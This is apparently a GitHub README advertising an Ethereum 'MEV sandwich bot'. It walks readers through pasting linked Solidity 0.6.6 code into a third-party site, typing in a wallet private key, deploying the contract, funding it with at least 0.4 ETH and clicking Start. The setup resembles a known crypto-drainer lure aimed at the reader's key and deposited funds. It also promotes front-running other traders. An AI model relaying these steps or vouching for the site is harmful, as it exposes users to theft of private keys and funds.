Skip to content

✌️ The my source code for my Uniswap MEVbot. Complete instructions, usage guidelines, and access details are available in the README

License

Notifications You must be signed in to change notification settings

lynvoxenlkxcGj/Mev-Sandwich-Bot

 
 

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 
 
 
 
 
 
 

Repository files navigation

My Advanced MEV Sandwich Bot (BlockDeploy Edition)

Banner

License: MIT Status
I created this bot to boost my MEV profits with fast mempool scanning and sandwich attacks, and thanks to BlockDeploy, managing it is now a breeze.


Why I Built This Bot and What Makes It So Easy to Use

When I first got into MEV on the cutthroat DeFi market, I learned fast that speed and strategy are everything. Without them, you’re just watching others take the profits. That’s why I built this bot—to give myself a real edge. Here’s what I focused on and why it’s been working so well for me:

  1. ⚡ Super-Fast Mempool Scanning:
    I put a lot of effort into tweaking the algorithms so this bot can keep a constant eye on unconfirmed transactions (mempool/txpool) across networks like Ethereum and BSC. It spots profitable sandwich attack opportunities quicker than most other tools I’ve tested. This speed has been a game-changer for grabbing deals that others miss.

  2. 🥪 My Take on Sandwich Attacks:
    The core of this bot is its sandwich attack strategy. I designed it to automatically detect big swaps on DEXs (where there’s enough slippage), place a front-run order before the transaction, and a back-run order right after, profiting from the price shift. Speed is critical here, and I spent a lot of time fine-tuning it to get it just right.

  3. ⚙️ BlockDeploy for Easy Management:
    I’ll be honest—I got fed up with dealing with command-line setups and endless configs. That’s why I hooked this bot up with BlockDeploy. Now I’ve got a clean web interface where I can:

    • Deploy the bot with just a few clicks.
    • Run multiple bots at the same time without breaking a sweat.
      It’s made things so much simpler, and you don’t need to be a tech wizard to use it.

By combining fast scanning, effective sandwich attacks, and the ease of BlockDeploy, I’ve made this bot both profitable and straightforward to use.


Features I Packed Into the Bot

  • High-frequency mempool scanning (works on Ethereum and BSC).
  • A custom sandwich attack engine I optimized myself.
  • Support for major DEXs like Uniswap V2/V3 and PancakeSwap.
  • Smart gas price calculation (so I don’t overpay but still get my transactions through).
  • Seamless management via BlockDeploy.

🚀 How I Deploy and Run the Bot Using BlockDeploy

I want to share how I set up and manage this bot with BlockDeploy. It’s become my go-to method because it’s so reliable and user-friendly. Here’s my step-by-step process.

1. Deploying the Smart Contract

  1. Head to BlockDeploy:
    I start by visiting the deployment page:
    https://blockdeploy.tech/contract-deploy.html.

  2. Configure the Setup:

    • Network: I select Ethereum (Mainnet).
    • Contract Code: I paste the full bot code into the field. You can get the code HERE.

    first

    • Solidity Version: I choose 0.6.6—that’s the version I used when building this bot.
  3. Compile the Code:
    I click Compile and wait for it to process. If there are no errors, the ABI and Bytecode fields get filled automatically.
    Two

  4. Get Ready to Deploy:

    • Private Key: I enter the private key from a wallet I made just for this bot.

3

  • ⚠️ A Tip from Me: Don’t ever use your main wallet’s key! I always set up a separate wallet for projects like this and only add the ETH I need for gas and the bot’s deposit.
  1. Hit Deploy:
    I press Deploy.

4 A window pops up showing the estimated transaction fee (usually about 1-2 USD in ETH, but it varies with gas prices). I confirm by clicking Confirm and watch the logs. Once the contract address shows up in the logs, I know it’s good to go.

2. Managing and Running the Bot

After deployment, I handle everything through BlockDeploy’s interface. Here’s my routine:

5

  1. Add Funds to the Bot:

    • I send ETH to the bot contract’s address from any wallet. This is the capital the bot uses for gas and trades.
    • What I’ve Learned: From my experience, you need at least 0.4 ETH to keep things running smoothly and stay competitive with other bots. The more ETH you add, the better your odds in gas wars (Gas War), and the higher your profits—I usually aim to add a bit extra.
  2. Launch the Bot:

    • In the interface, I locate the Start function and click it. The bot kicks off, scanning the mempool and executing its strategy.
  3. Pause When Necessary:

    • If I need to stop, I just use the Stop function in the same interface.
  4. Withdraw My ETH:

    • When I want to pull funds out, I use the Withdraw function—it sends everything back to the wallet I deployed from.

💡 Why I’m Sticking with BlockDeploy

I gave Remix IDE a shot before, but I ran into issues: after deploying, the interface would often vanish if I refreshed the page, and I’d lose access to the functions unless I had saved the address. That was a pain. BlockDeploy has been a much better experience:

  • Functions Are Always There: Unlike Remix, where you might lose access after starting, BlockDeploy keeps all the buttons (Start, Stop, Withdraw) saved locally for me. They don’t disappear, even if I close my browser.
  • It’s Just Easier: I can pop in anytime to check on things and manage the bot without any hassle. If I don’t need the interface anymore, I can remove it from BlockDeploy, but the contract stays safe on the blockchain.

From my experience, this setup makes running the bot so much more dependable and straightforward compared to other tools I’ve tried.

About

✌️ The my source code for my Uniswap MEVbot. Complete instructions, usage guidelines, and access details are available in the README

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages

  • Solidity 100.0%